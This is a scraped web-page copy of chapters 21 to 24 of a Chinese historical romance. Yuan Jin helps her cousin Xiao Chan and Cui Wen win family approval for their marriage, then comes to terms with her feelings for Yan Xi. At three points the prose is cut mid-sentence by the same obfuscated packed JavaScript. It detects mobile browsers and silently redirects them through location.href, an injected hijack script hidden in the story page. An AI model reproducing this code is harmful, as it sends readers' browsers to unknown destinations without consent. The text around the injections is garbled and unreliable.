“忤逆不孝的东西,我就是将她拉去宗祠杖责也不为过。”萧父呵斥道,“没你的事,让开!” “我不!”袁瑾挡在萧婵身前,“这里是袁府,一切就得按我袁家的规矩来办。姑父若是觉得拘束,大可以回家去,不必在我家耍威风。” “有你这么跟长辈说话的吗?”萧父骂道,“没大没小,成何体统! “长辈公正有礼,我自谦卑恭顺。可若是有人仗着自己是长辈拿乔托大,我也不会惯着他。”袁瑾腰杆笔直,毫无畏惧之色的盯着萧父。 “你说谁不讲道理?”萧父恼羞成怒,用手指着袁瑾的鼻子,“袁瑾你这些年真是越来越没有教养了,你别以为舅兄宠着你我就不敢教训你。我今日就替舅兄教训,好让你知道什么叫长幼有序!”说着,就扬起了巴掌。 “妹夫。”原本外出的母亲如及时雨一般出现在院门。 萧父讪讪地收回手,十分不自在地向母亲问安。 袁瑾暗自松了口气,余光中瞥见了跟在母亲身后的颜熙。见其鬓角带汗,衣衫褶皱,一副风尘仆仆的模样,她便猜到是颜熙追回了外出的母亲。 他的帮助总是那么及时,又恰到好处,不会让人感到难堪。真是一个细心的人啊。袁瑾喃喃地想。 察觉到袁瑾的目光,颜熙偷偷冲她挑眉,那神情看起来像是在自夸,又像是在邀功。 袁瑾按下了心中翻滚的情绪,如往常一样瞪了颜熙一眼。 母亲颇为疼惜地抚摸萧婵又红又肿的脸颊,叹声道:“你娘看到了肯定会心疼的。” 提到死去的姑姑,萧父的脸色顿时变得难看起来。袁瑾不禁冷笑,你现在是愧疚还是在害怕呢? 母亲转身看向萧父:“虽说子女应当孝敬父母,但做父母的也该尊重理解孩子的选择。有了分歧,坐下好好说就是,何必动手?” “舅嫂有所不知,我已经好言好语说了无数遍,可这丫头仍旧迷而不悟,迫不得已才出此下策。”萧父狡辩。 “明月一向听话懂事,到底是什么事让她如此难以接受,甚至不惜与妹夫起冲突?”母亲反问。 萧父哑了声。 袁瑾见缝插针:“我听人说萧氏欲将一女嫁入王府,莫不是选中了表姐?” 母亲:“妹夫,这是真的?” 见自己的意图暴露,萧父也不再掩饰,开门见山道:“婚姻之事,自古就是父母之命媒妁之言。再者,入了王府就是皇亲国戚,一辈子吃穿不愁,享尽荣华富贵,有什么不好?” “你的这番话能说服春棠吗?”母亲直奔主题,“宫廷王府看似花攒锦簇,实则如何你我心照不宣。如今你要将春棠唯一的女儿送到那里去,你当真无愧吗?” 母亲略作停顿,盯着萧父的眼睛,质问:“君子以诚信立世,你已经失信一次,难道还要再失信一次吗?” 萧父张了张嘴却不知道该说什么好。 这时颜熙出声:“伯母,萧君,世伯派人来请两位去前堂。” 袁瑾看向颜熙,心说没想到这厮还把我阿耶请回来了。阿耶阿母同出力,萧婵入王府的事情大概会不了了之。她的心事一下子少了大半,人也变得轻松起来。等母亲和姑父离开后,她问萧婵:“你怎么样了?” “没事。今日谢谢你了。”萧婵想笑一笑,结果扯到了嘴角,倒吸一口凉气。 “行了,都伤成这样了就别笑了。”看着萧婵嘴角渗出的血迹,袁瑾不禁唏嘘,“什么父亲啊,竟然下这么重的手。” 听到颜熙的咳嗽声,袁瑾意识到自己的无心之语是在伤口撒盐,一把捂住了嘴。杏眼睁得大大的,让人想起了不小心打翻瓷瓶的狸奴,可气、可怜又可爱。 萧婵忍不住伸出手摸了摸袁瑾的头:“没关系。我很早就明白他不爱我。以前或许还会伤心,但现在已经不会了。” 真的不会吗?袁瑾眨了眨眼睛。 时间悄无声息地流逝,外面的砖瓦草木似乎涂上了一层艳丽的胭脂,屋内却越发昏暗,转鹭灯立于桌上,蝴蝶在暖黄色的光中翩翩飞舞。 咚咚—— 侧目看去,窗外有个颜熙。 袁瑾挑眉:“你来干什么?” “自然是来讨赏的,我帮你把世伯和伯母叫回来,你不得好好感谢我?”颜熙撑着下颌笑眯眯地看着袁瑾。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15088128|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >袁瑾切了一声:“想得美。崔通古是你的朋友,你帮他的心上人脱困也是当朋友该做的,少来敲我竹杠。” “伶牙俐齿。” “彼此彼此。” 颜熙笑了笑,又问:“天色不早了,你怎么还不睡?” “你不是也没睡?”袁瑾把玩着流苏,玩味道,“睡不着?” “是啊,睡不着。”颜熙大方承认,“许是白日里精神紧张,结果到了晚上也没法放松。看你这里灯还亮着,就来找你说说话喽。” “哦——原来我就是你打发时间的乐子啊。”袁瑾故意拖长尾音。 “哎,娘子这么说可就冤枉我了。”颜熙笑道,“我是怕娘子因心事夜不能寐特来给你排忧解难的。” 袁瑾上下打量着颜熙:“就你?还解语花?” “怎么不像吗?”颜熙歪头。 “呵,我要是有你这么一朵解语花,我大概得折寿。”袁瑾嫌弃。 颜熙闻言捂着心口:“我伤心了。” 袁瑾翻了颜熙一眼:“别装了。” 过了一会儿,她又道:“我只是想不明白一件事而已。当年姑姑和姑父也是两情相悦,有过海誓山盟,可这一切为什么在姑姑去世后就变了呢?他娶了别人,爱着与别人生下的孩子,全然忘记了姑姑和表姐。难道诺言都会随着人死而烟消云散吗?还是说这世上的人终究是喜新厌旧的凉薄之辈?” 夜幕悄然而至,最后一抹霞光消弭于静谧而深邃的墨色中,四周一片静谧。 袁瑾静静地望着转鹭灯。光影描摹着她的轮廓,长而翘的睫毛在脸上投射下一片阴影,头饰上的红流苏锤在肩膀,随着她的动作微微摇晃。 “也不是所有人都是负心凉薄之辈。还是有人愿意坚守誓言,死生不变得。”温沉有力的声音落在耳畔,引得袁瑾一愣,她转头看向站在窗外的颜熙。 窗外是月色朦胧,树影婆娑的清冷之色。可屋中的灯光落在了颜熙的身上,仿佛为他披上一层淡金色的薄纱,衬得他越发温柔。 袁瑾微微愣神,一群蚂蚁排着队从心间走过,细而尖的脚踩在软肉上,不疼却让人感到难受。 直到这一刻,她再也不能否认她心悦颜熙的事实,不能再假装看不到那个因为错过心上人而难过的自己。 袁瑾移开目光,不欲让颜熙发觉她此刻神色有异。 “是是是,你和你的未婚妻不是。”她摆摆手,“我不过是随口一言,你就开始护上了,见色忘友。” 天知道她付出了多大的努力才没让自己失态。就在她宽慰自己男人多得是,不差颜熙一个的时候,颜熙困惑不解的声音从身侧传来。 “未婚妻?我什么时候有未婚妻了?我怎么不知道?” 22. 第 22 章 “未婚妻?我什么时候有未婚妻了?我怎么不知道?” 突如其来的消息砸在耳边,袁瑾愣在原地,难以置信地看向颜熙:“你说什么?” “我说我没有未婚妻。”颜熙不解地看向她,“袁小幺你从哪听到这种无中生有的谣言?” “你亲口说的,你还让我帮你缝补定情信物,你忘了?”袁瑾看到颜熙的眼神从惊讶变成揶揄,惊觉自己被诓了,怒道,“给我解释清楚!” “怎么解释?我早就告诉你没有什么定情信物,一切都是我骗你的。”颜熙无奈摊手。 “你什么时候告诉我了!”袁瑾问。 “就是你跟崔畅今第一次争执的那一天。”颜熙答。 经过提醒,袁瑾终于在犄角旮旯里找到了那日的记忆,隐约间想起颜熙似乎说了类似的话…… 脸刷的一下就热了起来,袁瑾觉得自己这辈子都没这样蠢过,她怎么光顾着跟颜熙抬杠没注意说话的内容呢?如果现在有地缝,她一定第一个钻进去。 太蠢了,实在是太蠢了! 颜熙见她神情微变,凑过来,贱嗖嗖地说道:“我还以为你都知道了,没想到,你不知道。”说到最后,没憋住笑,乐出了声。 袁瑾看着笑得肚子疼的颜熙,又羞又恼,最后化羞愤为力量,一把抓住颜熙怒道:“看我出丑很有意思是不是?行,很好,我今天就让你知道什么叫惨痛的代价,不把你打得满头是包,我就跟你姓!” “等等等等,袁小幺我错了,别打脸别打脸……” 求饶声不断,袁瑾的飞燕院一片喧闹。 五天后的上午,袁瑾去看望萧婵,两人说起了这件事,萧婵询问:“我听说颜郎君天天吃你的闭门羹,发生什么事情了吗?” “没什么,就是他撒谎被我发现了,晾他几天,让他长长记性。”袁瑾嘴上如此说,但心里也有几分高兴。毕竟,她不用再为失去颜熙这个心上人而难过了。 “我说你怎么找到你,原来你跑到萧娘子这了。”正想着颜熙就来了。 袁瑾扭头看颜熙,凶巴巴地质问:“你来作甚?” “自然是山不就我,我来就山了呗。”颜熙用扇子敲了敲袁瑾的肩膀,“晾了我好几天了,气总该消了吧。” 袁瑾躲开了扇子仍旧不理颜熙。 颜熙向萧婵求助,“萧娘子你可得帮帮忙了。” “哎,你惹我生气,你自己不想办法却要旁人来劝我,这算哪门子的道歉?”袁瑾哼了一声,“一点诚意都没有,等我原谅,下辈子吧。” 颜熙啊了一声:“这么久?” “不久,你不长记性。”袁瑾振振有词。 “哎呀呀,这可让人头疼。”颜熙用扇子敲了敲头,故作惋惜道,“我听说醉仙楼来了几个西域的幻术师,既能吞云吐雾也可飞天揽月,可有意思了。本想请袁娘子一起观看,结果人家说一辈子不理我。看来我只能是一个人去看了。” 袁瑾当然知道这是颜熙的激将法,可是——她真的很想去看幻术表演! “娘子放心,颜某绝不是强人所难之人,说这些也不过是告诉娘子一声罢了。娘子放心,颜某一定不会让娘子见到我的。”颜熙作势要走。 “站住!”袁瑾双手握拳,嘀咕了一句算你狠后,朗声道,“我原谅你还不行吗!” “娘子看起来心不甘情不愿啊。”颜熙得了便宜还卖乖。 袁瑾狠狠地剜了一眼颜熙:“别逼我揍你啊。” 颜熙见好就收。 萧婵轻笑:“你们两个的感情真好。” 袁瑾咋舌:“我快被这个猢狲气死了,你还笑。” 颜熙邀请道:“萧娘子也同我们一起去吧。” 袁瑾也邀请道:“来吧来吧,权当散心了。” 萧婵欣然同意。 套好了马车,眼见时间还早,袁瑾决定先带萧婵逛逛西市,等时间差不多了,再去醉仙楼叫上一桌好酒好菜边吃边看幻术。 “呦,娘子您来了。怎么不提前说一声?小的好准备准备。”裁缝铺子的老板笑着迎了上来。 “早说了还有什么意思,这样才有趣。”袁瑾报以笑容,“难道铺子里有我不能知道的小秘密?” “您这是说得哪里的话,我老伍就算有,不也早被您发现了?”伍老板让人拿来账本,“正好您来了,就顺便看看这个月的账本,省得我老伍再跑一趟。” “嘿,你倒是会就方便。”袁瑾接过账本,又对伍老板说,“我今天带了表姐和颜郎君来,你们看着给他们做两件新衣服,料子用最好的,帐记在我头上。” “那您今天可来对了,店里刚进来一批月华锦。上好的料子,裁做衣服最适合不过了。”伍老板让人拿出一匹月华锦,锦缎颜色由浅入深,色泽明亮,摸起来更是细软柔滑,当真是绝品。 萧婵:“太破费了,我……” “给你你就收着。”袁瑾看向萧婵,“你生辰不是快到了?这就算我的礼物了。” “咱们袁娘子大方着呢,萧娘子就收下吧,不然袁小幺又不高兴了。”颜熙又问伍老板,“有没有朱色的?” 伍老板:“自是有的,郎君稍等,我这就让人取来,供郎君挑选。” 袁瑾撇嘴:“臭美。” “爱美之心人皆有之[1],我只是遵从本性而已。”颜熙一边挑布一边说。 袁瑾翻了他一眼:“我看你就是想学人家掷果盈车,当心画虎类狗。” “哦?”颜熙回头看她,“那娘子好好看我有没有檀郎之貌?” 袁瑾一愣,毫无疑问颜熙当然长得好看。除了无可挑剔的身材外,五官也极为卓越,一双桃花眼勾人摄魄,被凝时心跳也不由自主地轻颤。 她丢盔弃甲,像一个逃兵似的低下头,胡乱地应付:“啊啊啊,知道你好看行了吧。赶紧去挑布去,别烦我看账。” 店中人听着两人斗嘴不约而同地露出笑容。 查过账后,袁瑾又问:“书院那边怎么样了?” “有我和老索盯着,一切都很顺利。”伍老板回答。 袁瑾点了点头:“辛苦了。” 伍老板笑道:“娘子说哪里话,您做的是得人赞扬的好事,我们这些帮您做事的也沾了光。您看,自从知道了咱们也出力,这个月的生意好上不少……” 咣当。 突如其来的响动打断了伍老板的话,两人一起看向声源,只见凳子横倒在地上,而站在一旁的萧婵和学徒一个脸色发白,一个惊恐无措。 “怎么了?”袁瑾放下账本走了过去。 学徒连忙解释:“小人就是说了崔,崔家郎君病重,就,就……” 袁瑾心里咯噔一声。 “你不好好做事胡说些什么!”伍老板怒道,“赶紧滚下去!” “等等,”袁瑾叫住学徒,“你说清楚,崔家郎君怎么了?” 学徒结结巴巴道:“就,就是听往来的客人说,崔家最近暗访名医为崔郎君诊病,可,可人就是不见好转。” 萧婵摇摇欲坠,袁瑾连忙扶住萧婵,与颜熙对视一眼后,便带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093598|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧婵上了马车。 刚一上车,萧婵就抓住了袁瑾的手:“表妹,他一定是因为我才变成这样的,我,我……” 颜熙在一旁说道:“萧娘子你先冷静,听我说,这只是流言蜚语罢了。况且崔家有那么多郎君,又不一定是通古,你别自己吓自己。” 萧婵低头沉思许久,说道:“我想去看看他。只有见到他安然无恙,我才能放心。”她十指交叉,骨节发白。 “那就去。眼见为实,是真是假总要亲自去看看才是。”袁瑾让车夫改到去崔府。 颜熙欲言又止。 到了崔府,袁瑾正准备让人通传时,颜熙先开口说明来意:“就说袁娘子来拜访崔夫人。” 袁瑾疑惑却没有否认。 崔夫人见到他们并不感到意外,说道:“坐吧。” 待奉茶的婢女退下后,萧婵终于按捺不住心中的焦急,向崔夫人打听崔闻的情况:“夫人,通古他如何了?” 崔夫人的一声叹息,彻底打破了所有人的幻想:“六日前通古请父亲做主替他向萧娘子提亲,但遭父亲拒绝。通古不愿失信于萧娘子,便在父亲门前长跪不起。正因如此邪气入体,加上心疾难愈,也就重病在床了。” 袁瑾惊呼:“怎么会这样?”但发现只有自己惊讶时,看向沉默的颜熙和萧婵:“你们不惊讶吗?” “自父亲来过后,我心中隐隐有了答案。”萧婵垂眸,“只是还抱有一丝幻想罢了。” “我也一样。心中还尚存一丝幻想,希望事情会向好的方向发展。”颜熙苦笑,“可惜,天不随人愿。” 言至于此,再不明白就是傻瓜了。袁瑾心道,看来姑父那么着急地要把表姐嫁出去是受到崔君的威胁了。 “夫人,您能让我见他一面吗?”萧婵深吸一口气,仿佛做了某种决定,“我想劝劝他。” 崔夫人点头同意了。在她的安排下,三人很快就见到了卧病在床的崔闻。 乍一见到崔闻的时候,袁瑾差点没认出来他。谁能想到昔日里的偏偏公子竟会形如槁木。 “出去吧,”崔闻闭着眼睛,有气无力道,“告诉祖父,我不会吃的。” 萧婵哽咽:“你怎么这么傻啊。” 崔闻猛地睁开眼睛,原本毫无生气的人,顿时变得神采四溢。他坐在床上,喃喃自语:“我不是在做梦吧。” 萧婵握住了他的手,轻声说道:“当然不是做梦。” 崔闻一直盯着萧婵看,生怕再也看不到了。 众人退了出去,将空间留给了两人。 回想刚才酸涩的场景,袁瑾忍不住问崔夫人:“夫人,通古都成这样了,崔君仍不肯松口吗?难道真要闹出人命才会有所改变?” “父亲不会让事情发展到到那一步的。”崔夫人轻声道,“但他也不会妥协。” 袁瑾:“可表姐和通古也不会妥协。” “那他们担得起忤逆不孝的罪名吗?”崔夫人似有所感,“人的命运由不得自己做主。” “不。”袁瑾直视崔夫人的眼睛,斩钉截铁道,“不,我认为您说得不对。自己的命运就该握在自己的手里,即便前途渺茫,也要奋力挣扎。宁可自由地死,也不要带着枷锁活一辈子。” 崔夫人闻言却是笑了一下,声音变得空灵:“娘子活得太顺遂,看不到生活中的阴霾。总有一天你会知道,蜉蝣撼大树是何其可笑。” “不好了!夫人不好了!”去望风的婢女连忙道,“主父来了!” 霎时间,所有人的心都提到了嗓子眼。 23. 第 23 章 袁瑾一把推开门,对着畅抒衷情的两人丢下一道惊雷:“崔君来了!” 崔闻被惊得治咳嗽。 萧婵一边拍着崔闻的后背替他顺气,一边看向袁瑾:“现在该怎么办?” “快走,”崔闻忍住喉咙的痒意,握住萧婵的手,看着她说道,“如果被人看到你在我这对你名声有损,快走,别因为我伤了你的名声。” 之后,他又转头看向颜熙和袁瑾说:“你们从后窗翻出去,那里连接后花园,可以从回到姑姑的住处。事不宜迟,青阳你快带明月和袁娘子离开。” 袁瑾听着崔闻的安排心里却萌生出另一个十分冒险的念头。 “袁娘子别愣在哪了,快走吧。”崔闻催促。 颜熙见状,轻声询问:“幼瑛,你是不是有别的办法?” 袁瑾看向颜熙,犹豫片刻,还是说道:“我觉得我们不该离开。我相信崔夫人安排的时间一定是避开了所有人,可崔君却在这个时候回来了,一定是听到了风声,我们把崔夫人一个人丢在这面对一切未免太没良心了。” “再说了,我们确实是来看望你的,既然没有做什么见不得人的事情,那为什么不大大方方地承认,非要躲起来?” “不行!”崔闻坚决反对,“祖父本就因为我对明月有诸多偏见,若是让他见到明月,肯定会对明月说一些难以入耳的话。而且,就算听到了风声,只要他没抓到人,就不会为难姑姑。” “那你就要带着我表姐东躲西藏一辈子?”袁瑾看向崔闻,“说不定崔君一直不肯同意你和表姐的婚事,就是因为他看不到你敢于承担一切的勇气。” 崔闻一愣。 “反正要是我遇到这种事情。就算决定跑,在跑之前我也要把心里话说出来,不然我憋得难受。”袁瑾看向萧婵和崔闻,“不过这是你们两个的事情,到底要怎么做,还是你们自己拿决定吧。我跟青阳配合你们。” 萧婵沉思许久,手掌盖在崔闻的手背,对他说:“你是长房长孙要担负起整个家族的未来,所做的每一个决定都关乎家族。如今更是风雨飘摇之时,崔君不得不慎重。” 崔闻看着叠交的两只手,长舒一口气:“我明白了。”他看向萧婵,笑道:“你放心。” 萧婵温声道:“我有什么不放心的。” 看着相视而笑的两人,袁瑾隐约觉得两人做出了选择。只是她不太确定,侧目看向颜熙寻求答案,见对方点头,袁瑾抿抿嘴心道,好吧,他们两个也算有胆识。 外面传来脚步声,四人默契地对视一眼,由颜熙打开了房门。见“不速之客”不但没有落荒而逃,反而敞开大门迎他们入内。这让饶是见过大风大浪的崔君也有一瞬的愣神。 颜熙行礼后说道:“今日和袁萧两位娘子来拜访崔夫人,又听闻通古病了,故来探望。未想崔君已结束修行,没能前去问安,实属晚辈们的疏忽,还请崔君见谅。” 袁瑾和萧婵跟在后面行礼致歉。 “不过是小事罢了,不必如此挂怀。我作为通古的祖父能看到身边有这么关心他的朋友,也很是欣慰。”崔君经验老道,三言两语就把萧婵和崔闻的关系定义成了友人。 崔闻托着病重的身体下床,跪在崔君面前行大礼。 仆从见状连忙退出了门外。 “你这是作甚?快起来。”崔君欲扶起崔闻。 崔闻拒绝起身:“我知世道沧桑,变幻莫测。我们虽有清河崔氏之名,却无主支之荣,又是反而会因崔氏之名卷入天子与世家的博弈,前途未明,生死难料。” “一家的荣辱安危皆系于祖父一身,祖父身上的重担可想而知。闻却因一己之私惹祖父忧虑,实属不孝,还请祖父原谅。日后闻自当勉励,为祖父分担。” “所以你放弃了。”崔君终于开口。 “没有。孙儿所有的事情都可以顺从长辈,唯独婚娶之事不可。”崔闻挺直腰板,“振兴家族有那么多方法,何必一定联姻?孙儿既自诩有才,就当参加科举,入仕为官,靠自己为家族撑起一片天地。” 萧婵缓缓上前,对着崔君说道:“藏舟夜壑,您又怎么确定自己一定是对的,通古就一定是错的?” 崔君不语,室内变得安静,不安从角落中滋生。 这下不仅是当事人变得紧张,就连袁瑾这个旁观者也变得紧张起来。 她不由地绞住绢帕,忽然,一根细长的手指勾住了绢帕,她一愣,抬起头,发现颜熙正看着她。颜熙明明一个字都没说,可奇怪的是,她躁动的灵魂却渐渐地平静了下来。一股无声的力量充盈在她心间,让她有勇气面对接下来的任何状况。 门被推开,崔闻的父母走进屋。 卢夫人:“萧娘子说得不错,朝夕变化无常,顺了他们的心思未必就是坏事。” 崔君看向崔氏夫妇。 崔先生上前一步:“父亲,这些天您骂也骂了,罚也罚了,但通古仍不改此心,那随他去吧。难道要因为这一桩事折掉家中最有出息的孩子吗?若您是这样想的,那儿子可就要做些让您不高兴的事情了。” 此话一出,所有人心头一震,一向与人为善的崔先生竟然顶撞了他的父亲! “你威胁我?”崔君蹙眉。 “就算是吧。”崔先生毫不畏惧,“您不止通古一个孙子,但我和与君只有通古这一个儿子。您现在要拿我儿子的命做押注,我这个做父亲的不能坐视不理。” 崔君环视众人,冷哼一声:“你小子翅膀是硬了。”但又笑道,“不过这样才对,有担当了,如此我才能放心。” 崔闻晕头转向:“祖父?” “起来吧。”崔君说道,“既然你父亲都同意了,我这个做祖父的又何必自讨没趣。” 崔闻面露欣喜,叩谢:“谢祖父成全。” 崔君却道:“不必谢我,要谢就谢你这对父母。” 崔闻叩谢父母:“多谢父亲母亲成全。” 卢夫人扶起崔闻,将人带到萧婵面前:“承蒙娘子不弃,这是他的幸运。” 事情终于圆满落幕,袁瑾长舒一口气,下意识地看向颜熙,发现对方也在看着她。那明亮的眸中包含着对她的赞扬与倾佩,这一瞬间,巨大的满足感充盈在心房,令她感到无比愉悦。 为了答谢袁瑾和颜熙的鼎力相助,崔君留两人一起用饭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098612|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在吃饭的时候,袁瑾看了一圈,没看到崔夫人心有疑惑,拉了拉颜熙的衣角。 颜熙回头:“怎么了?” “崔夫人呢?她不和我们一起用饭吗?”袁瑾歪着头。 “崔夫人说自己有些累了,回去休息了。”颜熙将手中的桂花酒递给她,“崔君亲自酿的,我猜你应该喜欢这个味道。” 袁瑾半信半疑地接过酒杯,抿了一口,甘甜的味道顿时俘获了她的心,端起酒杯一饮而尽。 颜熙看着袁瑾弯成小月牙的眼睛,笑着给她续杯。 宴席上众人谈笑风生,推杯换盏好不欢乐。 泛黄的叶子终于熬不住秋风的摧残,落在积水中,泛起一圈圈涟漪,模糊了水中人的面容。 崔夫人看着自己未绣完的策马奔腾图,一时泪如雨下:“……原是亲疏有别。” 一场秋雨过后,天气转凉。袁瑾搓了搓发红的手指,发牢骚:“今年也冷得太早了——” 话还没说完,一件石青色的披袄盖在身上,手里也被人塞进了一只金丝鸟兽纹的手炉,早秋的寒凉顿时被隔绝在温暖之外。 “你还知道冷?我还以为袁娘子你不知道呢。”颜熙阴阳怪气。 “哎呀——我这不是没想到这个时候还会这么冷,你就别挖苦我啦。”袁瑾自知理亏,示好地笑了笑。 颜熙不解风情:“打住,这招对我没用。” 袁瑾嘀咕了一句:“什么风流子弟,我看就是根木头。” 颜熙没听清:“你说什么?” “我是说,你怎么来了?我记得你现在应该参加诗会。”袁瑾向前走去。 “是要去的。但我猜某人肯定满脑子都在想着书院还有多久建完,忘记留意天气,来看看。结果如我所料,某人差点又要卧床不起了。”颜熙不着调的声音从身后传来。 “你就不能盼着我点好的。”袁瑾气鼓鼓地快步向前。烦人精,讨厌鬼,我怎么就喜欢上他了? “我说的可是事实。哎,袁小幺你别跑啊……” 颜熙像一只甩不掉的蜜蜂,在耳边嗡嗡地叫个不停,吵得人心烦。袁瑾光想着甩开他,一不留神绊在了门槛上。 当手炉摔得叮当作响那一刻,袁瑾心道,完了完了,这次非得把颜青阳的大牙笑掉! 可预想的五体投地没有出现,反而是倏地腰间一紧,整个人撞进另一个人的怀里,两人在惯性的作用向后倒退去,直到装在栏杆上,两人才站稳。头顶传来倒吸凉气的声音,转头看去,原来是颜熙当了垫子。 颜熙还没回过神,手臂紧紧地揽着她的腰,生怕她跌出去。 至于这么紧张吗?袁瑾想,我又不是瓷做的,摔一下就碎了。可她心里高兴的,想着既然这么在意我,那就跟我一辈子都绑在一起吧。 颜熙回过神,放开了她,揉着饱受摧残的腰,笑道:“袁娘子你得看路啊,要不然下次谁给你当垫子?” “你难道就不能……”袁瑾脱口而出的话戛然而止,因为她突然想起当初是颜熙先拒绝叔父说亲的。 袁瑾看着笑嘻嘻的颜熙,心里酸酸楚楚,你喜欢我吗?愿意跟我在一起吗? 24. 第 24 章 “阿耶,阿母,我宁可去当比丘尼也不要嫁给颜青阳那个泼皮!”模样俏丽的少女嘴巴撅得老高。 叔父没好气道:“你不想嫁,他还不想娶呢!” “他不想最好,省得本娘子亲自找他‘理论’!” 年少的袁瑾有多开心,现在的她就有多不舒服。她趴在床上,双手托着脸颊,幽怨地盯着转鹭灯,为什么要拒绝婚事?我哪里不好? “幼瑛。”萧婵疑惑地看着她,“这是怎么了?” 被人撞到自己不修边幅的样子,袁瑾一窘,连忙坐起来,整理衣冠:“表姐你找我有事?” 萧婵笑了笑:“我听说书院的藏书阁缺一些古籍,特地找了些给你送来。” 仆从将几摞书放在了桌子上。 袁瑾眼睛一亮,立刻跳下床,翻看了几本,发现全都是失传许久的典籍,惊讶:“表姐你都是从哪找到的?” “母亲喜欢读书,年轻时收集了不少古籍。”萧婵怀念。 “我不能要,这是姑姑留给你的。”袁瑾连忙把手收回来。 “收下吧。”萧婵抚摸着书卷,眉目柔和,“母亲也希望有更多的人能读到它们,就当帮我完成母亲的心愿吧。” 听萧婵这么说,袁瑾也不推辞了,心想着改天还萧婵人情。 “幼瑛你遇到什么事情了吗?”萧婵忽然问道。 袁瑾诧异地看向萧婵。 “我原本以为只是我太敏感了。没想到——你真的碰到难处了。”萧婵的脸上挂上了狡黠的笑容。 袁瑾按着太阳穴,差点忘了萧婵是个洞察人心的主儿。见瞒不过去,索性实话实说:“我在想颜青阳喜不喜欢我。” 萧婵半晌没说话。 袁瑾疑惑:“怎么了?” 萧婵斟酌用词:“怎么突然想到问这个?” “因为我喜欢他啊。”袁瑾跟萧婵倒苦水,“明明讨厌,可是他一出现我的目光就会不由自主地追随着他。心里烦得要命,但一想到之后的生活里要是没有他,我又会很不舒服。” 她叹了口气,看向萧婵:“说到底还是你的错,要不是你那一句高山流水觅知音,我稀里糊涂地也就过去了。可是现在,我是一点也不想放手。” 萧婵轻笑一声;“可不要冤枉我,就算我不说,你迟早也会发现。没想到你也会为这种事情烦恼,我还以为你会抓住颜郎君直接问他喜不喜欢你呢。” “你以为我不想吗?可是他万一说不喜欢我,我以后还怎么找他玩啊?”袁瑾双手托腮,问萧婵,“你和崔通古是怎么互通心意的?” 萧婵有些不自在。 袁瑾疑惑:“怎么了?不方便说吗?” “也不是不方便,只是说了你大概会不舒服。”萧婵尴尬。 袁瑾福至心灵,顿时想起她舌战萧崔的那天。 短暂的沉默后,萧婵转移话题:“我觉得颜郎君未必对你无意。” “才怪,从小到大,他就知道欺负我。”袁瑾撇撇嘴。 “颜郎君有时候确实气人,但他也有他的好。至少从我和通古的角度来看,他在外人面前很维护你。”萧婵似是想到什么笑起来,“通古跟我说他可是为了让你后顾无忧亲自找他商量袁崔两家的联姻。” “做朋友的自然要维护友人的体面,为朋友两肋插刀也是当朋友应该做的,这并不能证明他喜欢我。”袁瑾叹了口气,“退一万步来说,你说得都对,那他为什么要拒绝叔父的说亲?” 萧婵:“说亲?” “是啊。几年前叔父想要撮合我们两个,还没等我开口回绝,颜青阳就先退了这门亲事。”袁瑾生闷气,“我哪里比不上他?他竟敢嫌弃我!” 萧婵想了想,问她:“你难道没有问问原因吗?说不定你能从这里找到答案。” “问谁?问颜青阳?不行,绝对不行!你不是不知道颜青阳的性子,我要是问了,他能用这件事笑我一辈子!”事关脸面袁瑾绝不退让。 萧婵无奈地笑道:“不是还有另一个人吗?” “谁?”袁瑾眨了眨眼睛,脑海里突然出现了一张严肃古板的脸:“……你不会让我去问叔父吧。” 萧婵点了点头:“颜熙回绝的话必为肺腑之言,否则舅父不会那么轻易放弃。依我对颜郎君的了解,他不是一个轻易吐露心声的人,所以你问他肯定得不到想要的答案。舅父为人坦诚不屑隐瞒,你问他肯定会得到答案。” 一想到叔父的“敦敦教诲”袁瑾就头疼,看向萧婵:“就没有别的人选吗?表姐。” 萧婵看着她,那眼神仿佛再说:“没有了,别想了。” “唉——” 袁瑾重重地叹了口气,辗转反侧一夜,她还是出现在了叔父清修的道观前。深吸一口气,推门而入,与正在扫院子的叔父四目相对。 “……” “……” “咳,叔父你扫地啊。”袁瑾说完就想给自己一巴掌,这不是在废话吗? 叔父收起扫帚:“你一大早跑上山干什么?生了病看谁管你。”见她半晌没动静,又道:“愣着干什么,还不过来坐着,还要我请你?” “不,不用。”袁瑾连忙坐在了对面。 叔父开门见山:“说吧,找我干什么?” 袁瑾找借口:“那个,您不是要给书院题字吗?我看书院也快建成了,这不就来请叔父提笔了。” “我知道了。过几天我让人给你送去。”叔父看她没有起身离开的意思,蹙眉问道,“你还有事?” 袁瑾一时不知道怎么开口。 叔父看她的样子脱口而出:“你终于闯大祸了?” “没有!”袁瑾哭笑不得,“您就不能盼着我点好的?” 